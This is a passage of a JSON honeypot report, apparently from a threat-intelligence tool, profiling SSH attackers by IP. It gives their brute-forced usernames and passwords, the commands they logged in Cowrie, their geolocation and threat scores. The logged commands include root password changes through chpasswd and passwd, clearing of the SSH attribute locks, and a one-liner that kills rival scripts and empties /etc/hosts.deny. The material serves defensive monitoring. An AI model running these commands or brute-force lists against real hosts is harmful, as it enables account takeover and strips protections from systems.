        "bryanpass",
        "centos7pass",
        "jason123",
        "oldpass",
        "opc123!",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Allen123\\nW2UbniNEND7d\\nW2UbniNEND7d\\n\"|passwd",
        "echo \"oldpass\\n5wFsaImT6Zs5\\n5wFsaImT6Zs5\\n\"|passwd",
        "echo \"opc123!\\nChwsvL4cqokE\\nChwsvL4cqokE\\n\"|passwd",
        "echo -e \"Allen123\\nW2UbniNEND7d\\nW2UbniNEND7d\"|passwd|bash",
        "echo -e \"oldpass\\n5wFsaImT6Zs5\\n5wFsaImT6Zs5\"|passwd|bash",
        "echo -e \"opc123!\\nChwsvL4cqokE\\nChwsvL4cqokE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 352,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:24:50.787000+00:00",
        "last_seen_30d": "2026-03-12T19:48:10.670000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 297,
        "Suricata": 55
      }
    },
    "185.196.11.54": {
      "attack_count": 268,
      "first_seen": "2026-03-11T21:44:27.675Z",
      "last_seen": "2026-03-22T20:42:39.565Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "a",
        "controlm",
        "saeed",
        "adminer",
        "alexis",
        "claude",
        "code",
        "developer",
        "ds",
        "elk",
        "evertz",
        "jimmy",
        "josh",
        "k8s",
        "monitoring",
        "odin",
        "oracle",
        "paula",
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "password",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "Admin@2021",
        "Alexis123!",
        "Ds123!",
        "Jimmy",
        "Josh123!",
        "Server123!",
        "claude123",
        "codecode",
        "controlm@123",
        "monitoring123!",
        "odinpassword",
        "oracle1",
        "paulapass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\ncOAvfK7erImh\\ncOAvfK7erImh\\n\"|passwd",
        "echo \"saeed\\nnkGK7ZmGx5im\\nnkGK7ZmGx5im\\n\"|passwd",
        "echo -e \"12345678\\ncOAvfK7erImh\\ncOAvfK7erImh\"|passwd|bash",
        "echo -e \"saeed\\nnkGK7ZmGx5im\\nnkGK7ZmGx5im\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 337,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T21:44:27.675000+00:00",
        "last_seen_30d": "2026-03-22T20:43:42.904000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 268,
        "Suricata": 69
      }
    },
    "187.212.40.215": {
      "attack_count": 261,
      "first_seen": "2026-03-23T05:10:08.446Z",
      "last_seen": "2026-03-31T08:21:27.893Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "$#@!ergean*(",
        "123#qwer",
        "1234Qwer",
        "4rfv%TGB6yhn",
        "NB1234567",
        "hengbing520",
        "ruijie@123",
        "saqy0901gd",
        "shanghaiwusheng",
        "user123456",
        "wanzhonggame"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1u6wtkAeiW3o\"|chpasswd|bash",
        "echo \"root:2Lf47RMvMfjL\"|chpasswd|bash",
        "echo \"root:knLbjoISYKS7\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T05:10:08.446000+00:00",
        "last_seen_30d": "2026-03-31T08:22:34.260000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 43
      }
    },
    "103.193.178.42": {
      "attack_count": 257,
      "first_seen": "2026-03-22T23:45:17.617Z",
      "last_seen": "2026-03-23T00:07:18.034Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ts3server",
        "vpnbot",
        "webserver",
        "alfredo",
        "deamon",
        "hsadmin",
        "macha",
        "ubuntu",
        "webapps",
        "wialon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "Deamon123",
        "Webapps123",
        "Wialon123!",
        "abcd1234",
        "alfredo",
        "ts3server123!",
        "vpnbot123",
        "webserver"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"ts3server123!\\nk0FQVfip9R6b\\nk0FQVfip9R6b\\n\"|passwd",
        "echo \"vpnbot123\\nqGT8m5LF5Ns4\\nqGT8m5LF5Ns4\\n\"|passwd",
        "echo \"webserver\\nMQkaT3Ft8lGa\\nMQkaT3Ft8lGa\\n\"|passwd",
        "echo -e \"ts3server123!\\nk0FQVfip9R6b\\nk0FQVfip9R6b\"|passwd|bash",
        "echo -e \"vpnbot123\\nqGT8m5LF5Ns4\\nqGT8m5LF5Ns4\"|passwd|bash",
        "echo -e \"webserver\\nMQkaT3Ft8lGa\\nMQkaT3Ft8lGa\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T23:45:17.617000+00:00",
        "last_seen_30d": "2026-03-23T00:08:24.717000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 36
      }
    },
    "172.190.89.127": {
      "attack_count": 236,
      "first_seen": "2026-03-28T20:33:08.419Z",
      "last_seen": "2026-03-28T21:32:26.833Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "*&^%4321",
        "12#$qwer",
        "123654qwe",
        "2025@2026",
        "A123456bc",
        "Raja@123",
        "Wu123456",
        "Yp.123456",
        "admon",
        "android",
        "fire",
        "gargoyle",
        "humtum",
        "jess123",
        "password123$%^",
        "password2",
        "qqqq",
        "samurai"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:EXzVnUOIigam\"|chpasswd|bash",
        "echo \"root:UYHHEjX8gvIW\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T20:33:08.419000+00:00",
        "last_seen_30d": "2026-03-28T21:33:35.822000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "41.203.213.8": {
      "attack_count": 232,
      "first_seen": "2026-03-26T08:04:57.838Z",
      "last_seen": "2026-03-26T08:19:03.794Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "llm",
        "node",
        "rramirez",
        "ll",
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "node123!",
        "password!@#"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nC2NfryPJbz7f\\nC2NfryPJbz7f\\n\"|passwd",
        "echo \"123456\\nZ51k79RpTvZL\\nZ51k79RpTvZL\\n\"|passwd",
        "echo \"node123!\\nQa10dBwQqPzD\\nQa10dBwQqPzD\\n\"|passwd",
        "echo -e \"12345678\\nC2NfryPJbz7f\\nC2NfryPJbz7f\"|passwd|bash",
        "echo -e \"123456\\nZ51k79RpTvZL\\nZ51k79RpTvZL\"|passwd|bash",
        "echo -e \"node123!\\nQa10dBwQqPzD\\nQa10dBwQqPzD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 37061,
      "as_org": "Safaricom",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T08:04:57.838000+00:00",
        "last_seen_30d": "2026-03-26T08:20:10.605000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 232,
        "Suricata": 25
      }
    },
    "202.249.25.134": {
      "attack_count": 213,
      "first_seen": "2026-03-17T17:21:24.080Z",
      "last_seen": "2026-03-17T17:53:27.128Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin123",
        "opc",
        "aws",
        "debian",
        "diana",
        "gbase",
        "jenkins",
        "khan",
        "mosquitto",
        "report",
        "roots"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZxdr5",
        "12121212",
        "123",
        "12345",
        "Gbase123!",
        "Mosquitto123",
        "Tk123456",
        "admin123@123456",
        "aws@123",
        "dianapassword",
        "khanpass",
        "opcopc",
        "report@123456",
        "ruijie@123",
        "test"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"admin123@123456\\nPWLxMNN1aiDm\\nPWLxMNN1aiDm\\n\"|passwd",
        "echo \"opcopc\\ngXy9eBrMYGjH\\ngXy9eBrMYGjH\\n\"|passwd",
        "echo -e \"admin123@123456\\nPWLxMNN1aiDm\\nPWLxMNN1aiDm\"|passwd|bash",
        "echo -e \"opcopc\\ngXy9eBrMYGjH\\ngXy9eBrMYGjH\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 4717,
      "as_org": "WIDE Project",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T17:21:24.080000+00:00",
        "last_seen_30d": "2026-03-17T17:54:30.125000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 44
      }
    },
    "69.63.205.138": {
      "attack_count": 196,
      "first_seen": "2026-03-02T23:18:52.500Z",
      "last_seen": "2026-03-02T23:44:30.220Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613f",
        "3245gs5662d34",
        "345gs5662d34",
        "123qazWSX",
        "Abc123abc",
        "Da123456",
        "Ds123456..",
        "P@ssw0rd12345!",
        "Qwer0987",
        "Server1234",
        "Ty112233",
        "me",
        "vicidial1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Tfi7ST6eChPU\"|chpasswd|bash",
        "echo \"root:rkOGvJaS1JqB\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 906,
      "as_org": "DMIT Cloud Services",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 233,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T23:18:52.500000+00:00",
        "last_seen_30d": "2026-03-02T23:45:38.949000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 37
      }
    },
    "181.81.157.200": {
      "attack_count": 193,
      "first_seen": "2026-03-09T11:28:45.403Z",
      "last_seen": "2026-03-09T11:54:22.929Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "verdaccio",
        "xml",
        "bin",
        "cristi",
        "developer",
        "kishore",
        "meng",
        "pro",
        "ray",
        "recovery",
        "syncthing"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "12345678",
        "Meng123",
        "bin",
        "cristi123",
        "ray1234",
        "syncthing"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n6wxMHiSa2ltb\\n6wxMHiSa2ltb\\n\"|passwd",
        "echo \"12345\\nLMmasGZXMypG\\nLMmasGZXMypG\\n\"|passwd",
        "echo -e \"12345678\\n6wxMHiSa2ltb\\n6wxMHiSa2ltb\"|passwd|bash",
        "echo -e \"12345\\nLMmasGZXMypG\\nLMmasGZXMypG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Or\u00e1n",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T11:28:45.403000+00:00",
        "last_seen_30d": "2026-03-09T11:55:24.780000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 35
      }
    },
    "210.183.21.53": {
      "attack_count": 188,
      "first_seen": "2026-03-07T11:10:18.824Z",
      "last_seen": "2026-03-07T11:31:26.854Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "nuc",
        "zhangjh",
        "bot",
        "dario",
        "dheeraj",
        "hik",
        "mahdi",
        "petr",
        "roots",
        "sgp"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "mahdi2025",
        "nuc123!",
        "petr1234",
        "sgppass",
        "zhangjh123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"nuc123!\\n3gKBbJ2CEvcR\\n3gKBbJ2CEvcR\\n\"|passwd",
        "echo \"zhangjh123!\\n2PeE5gZv2TlU\\n2PeE5gZv2TlU\\n\"|passwd",
        "echo -e \"nuc123!\\n3gKBbJ2CEvcR\\n3gKBbJ2CEvcR\"|passwd|bash",
        "echo -e \"zhangjh123!\\n2PeE5gZv2TlU\\n2PeE5gZv2TlU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T11:10:18.824000+00:00",
        "last_seen_30d": "2026-03-07T11:32:32.197000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "193.24.211.93": {
      "attack_count": 187,
      "first_seen": "2026-03-12T03:00:29.614Z",
      "last_seen": "2026-03-19T13:42:57.125Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "1",
        "USER",
        "admin1",
        "administrator",
        "anal",
        "config",
        "david",
        "ftpuser",
        "guest",
        "manager",
        "sconsole",
        "support",
        "tech",
        "ubnt",
        "user",
        "username",
        "vpn",
        "webuser"
      ],
      "passwords_attempted": [
        "12345",
        "P@ssw0rd",
        "ubnt",
        "!q@w#e$r%t^y&",
        "!qazxsw@",
        "1",
        "12345678",
        "Admin",
        "NSSpassword1",
        "PASSWORD",
        "admin",
        "admin1",
        "anal",
        "cloud@123",
        "college",
        "config",
        "danion1994",
        "david",
        "friend",
        "ftppass"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 215929,
      "as_org": "Data Campus Limited",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T03:00:29.614000+00:00",
        "last_seen_30d": "2026-03-19T13:43:58.286000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 108
      }
    },
    "45.78.237.21": {
      "attack_count": 169,
      "first_seen": "2026-03-19T08:30:23.989Z",
      "last_seen": "2026-03-19T09:05:46.253Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "amp",
        "ftpupload",
        "pengbo",
        "rdp",
        "sky",
        "steamcmd",
        "superadmin"
      ],
      "passwords_attempted": [
        "1234",
        "345gs5662d34",
        "123456",
        "3245gs5662d34",
        "Qwerty123@",
        "Steamcmd123!",
        "admin123",
        "ftpupload",
        "sky"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "top",
        "uname -m",
        "w",
        "which ls",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:G5EqmJlwkkT4\"|chpasswd|bash",
        "echo \"sky\\nLPr8n3v9gsXP\\nLPr8n3v9gsXP\\n\"|passwd",
        "echo -e \"sky\\nLPr8n3v9gsXP\\nLPr8n3v9gsXP\"|passwd|bash",
        "lscpu | grep Model",
